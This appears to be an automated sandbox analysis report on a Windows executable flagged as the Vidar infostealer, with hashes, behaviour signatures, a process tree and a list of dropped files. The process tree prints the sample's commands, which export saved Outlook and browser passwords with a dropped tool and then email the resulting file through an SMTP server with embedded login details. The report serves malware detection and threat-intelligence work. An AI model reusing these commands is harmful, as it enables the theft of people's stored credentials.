Analysis

  • max time kernel
    122s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    08-04-2024 01:25

General

  • Target

    e6507f00c8155f6ec0a857d75431801f_JaffaCakes118.exe

  • Size

    1.1MB

  • MD5

    e6507f00c8155f6ec0a857d75431801f

  • SHA1

    794e6b36e2667a2e81800750ab2126df99b89544

  • SHA256

    ab46c89d287660a7cefaa2ab6c9a45b6bc9c3e6acdf56738da9f675e56d3987b

  • SHA512

    059de3bf4f9e0451ba44f863950c388126c6df105eadfb87e872ee5fb9e96a5cdf9a8a2c83c57e1db7947f38dc09a0001094e801c61c846c07af7126f2d1acab

  • SSDEEP

    24576:7VvsNq/J8UHrzggc4a0ZkR/u2t1sCSSS1HxyifQcLsHBQz:7V3rzgNRokRm6rdQHxLfQcIi

Malware Config

Signatures

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 24 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e6507f00c8155f6ec0a857d75431801f_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\e6507f00c8155f6ec0a857d75431801f_JaffaCakes118.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2868
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\5C62.tmp\1.bat" "
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2456
      • C:\Windows\SysWOW64\PING.EXE
        ping ya.ru -n 5
        3⤵
        • Runs ping.exe
        PID:2504
      • C:\Users\Admin\AppData\Local\Temp\5C62.tmp\blat.exe
        blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u donakovi -pw 154632
        3⤵
        • Executes dropped EXE
        PID:2556
      • C:\Users\Admin\AppData\Local\Temp\5C62.tmp\mpr.exe
        mpr.exe /export
        3⤵
        • Executes dropped EXE
        • Accesses Microsoft Outlook accounts
        • Accesses Microsoft Outlook profiles
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • outlook_win_path
        PID:2372
      • C:\Users\Admin\AppData\Local\Temp\5C62.tmp\blat.exe
        blat.exe -body PassReg -to [email protected] -attach pass.mpf
        3⤵
        • Executes dropped EXE
        PID:2704

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\5C62.tmp\1.bat

    Filesize

    340B

    MD5

    b484fff9108e34bc60c06be2188ce7f8

    SHA1

    4472a8ea5902d5c770e163d8fb3bc781750c11f0

    SHA256

    f9dcaf616357d5f5db051803eedcbfe99bb1e09573e702becaa104cb2207927b

    SHA512

    5efffd0c08a41eb785250463078cbcb575afebd3333a846671f94034042e376ecb9f5d1f7b24052c69345ee3bd79490cb70e0eb3725df72cdcb855c9b1ff1f14

  • C:\Users\Admin\AppData\Local\Temp\5C62.tmp\HookLib.dll

    Filesize

    42KB

    MD5

    9b2e0db7547afab728ec31b7288705d6

    SHA1

    cedd09c5fda6c9445d191f97034e23e960361074

    SHA256

    ff44a0fe9d27fc3c1f455b2b9e989235ea55be4b95ed569be4b15129e624214b

    SHA512

    1c4c5eb672541a0fd39ed1174bdd3533e136233bd904c2e8bc7ffcab4f3e9835cbc357a66c6704619795ce983ce57a6a8a206aa922addfcc771dd14c277cdf33

  • C:\Users\Admin\AppData\Local\Temp\5C62.tmp\SAV_MGILJUBR_4.8.2024_1-26-03_AM.mpf

    Filesize

    19KB

    MD5

    7ee328cd77807a04de8c34c5317287a7

    SHA1

    69a8d241b75f20f24201d81d76e48228d4b56339

    SHA256

    56fee519a474a020d69958defc78c4765337c48fc7dc7ba20897be255c0734d8

    SHA512

    5c7235a05d00066ed7a3d8920c7aebc49e170133e45af21c9a7428f736024861525290bbfa928c22916d2211edc0ec8c6c9bb23df9b30c599aeb4cfeccde6361

  • C:\Users\Admin\AppData\Local\Temp\5C62.tmp\blat.dll

    Filesize

    120KB

    MD5

    724cae63522f6e5f7565a3bf4b2a719b

    SHA1

    18620dbd4357d85918070f669ff4b61755290757

    SHA256

    b87814eaf1cd5268e797f1119b58e3fd79381af3f530be9a90993198cbce1779

    SHA512

    af68749cadf9920a8bed455a2557b1faf475d30fdd62f45da6757fbc5a59341fffeccca4ff646b334da95cf673deeeea74bdbb27a16f510a4e3309055f89817d

  • C:\Users\Admin\AppData\Local\Temp\5C62.tmp\blat.lib

    Filesize

    2KB

    MD5

    3cd3cffda2b5108e2778f94429c624d6

    SHA1

    3e4d218d1b8eb4fa1ab5152b126951892aff3dc9

    SHA256

    b545194041588fc0a6f57e7eb5a93d2418aaa263d246e3c696a79ee5859770ff

    SHA512

    c80080afcc982c4e950876756fb32c7f24fbe45bfbbe78afe144be1ede86dc9ef1e57db95d3df7f4c6011fd226f23684b929781b55d1be659cfa75d14f8d0c79

  • C:\Users\Admin\AppData\Local\Temp\5C62.tmp\block_reader.sys

    Filesize

    1KB

    MD5

    b5a0cfd3e6cb42a29255faa1546f420c

    SHA1

    c55cb0f7b5a04231607498b83629e70105113ee3

    SHA256

    a2d200514887c6f05c9e6150b57cf4541c4923b857cf15723454885b9353dff0

    SHA512

    274a7371f1d75803926380fd10c60c9aa1bb1088594e3e0be5db255bb9f31ae178e8f79ba4b2deb49c24289dea5b17d1244c873e038d0a94159252ab62f4342e

  • C:\Users\Admin\AppData\Local\Temp\5C62.tmp\mpr.exe

    Filesize

    3.3MB

    MD5

    8dba37604bf06ebcef07dd1085865a6a

    SHA1

    1202eb0ea461c502daa7da9d7d75fff226bf57bd

    SHA256

    038ab25642a1220c27028d0b559062b43764c66541ec07a96b2a99d25d9638b0

    SHA512

    0f286677e964d733ea3270f0f196769d8ddddb4a6bb3007187eae56e9abb5e22ee984703df5356b5d9049e5ad3b24c567ae13773684113a4440b2cce5d0132fa

  • C:\Users\Admin\AppData\Local\Temp\5C62.tmp\mpr.ini

    Filesize

    257B

    MD5

    7747daf77047bd41bfe8fe23170c9e70

    SHA1

    916568058d3cd57f4263821c824b72f0aef9b7a6

    SHA256

    b1e4df621dcf3ac9bdcfa4b18ca8f2132e71ac2586bb3df0c52f9993aedd0ee8

    SHA512

    3cd79356260684671a2d51703282bdca3c50b47768c62dd1cf9763f01b74b83cd34380bafd715df0ef05dae06b484041e92f8af99ed50a8eb6361620ea349f5c

  • \Users\Admin\AppData\Local\Temp\5C62.tmp\blat.exe

    Filesize

    112KB

    MD5

    31f84e433e8d1865e322998a41e6d90e

    SHA1

    cbea6cda10db869636f57b1cffad39b22e6f7f17

    SHA256

    aeca4a77d617da84296b5f857b2821333fe4b9663e8df74ef5a25a7882693e5e

    SHA512

    7ae504723b5b140e45af3163d1bfdc5ee0497debafba07cfbf1d2c15147c000be53f4ac8d36d926ed11cf0bb62e9e72f9bcf5d4caf92aa732d942f55834e2be9

  • memory/2372-54-0x0000000000500000-0x000000000084A000-memory.dmp

    Filesize

    3.3MB

  • memory/2372-39-0x0000000000330000-0x0000000000331000-memory.dmp

    Filesize

    4KB

  • memory/2868-37-0x0000000000400000-0x0000000000798000-memory.dmp

    Filesize

    3.6MB

  • memory/2868-0-0x0000000000400000-0x0000000000798000-memory.dmp

    Filesize

    3.6MB

  • memory/2868-63-0x0000000000400000-0x0000000000798000-memory.dmp

    Filesize

    3.6MB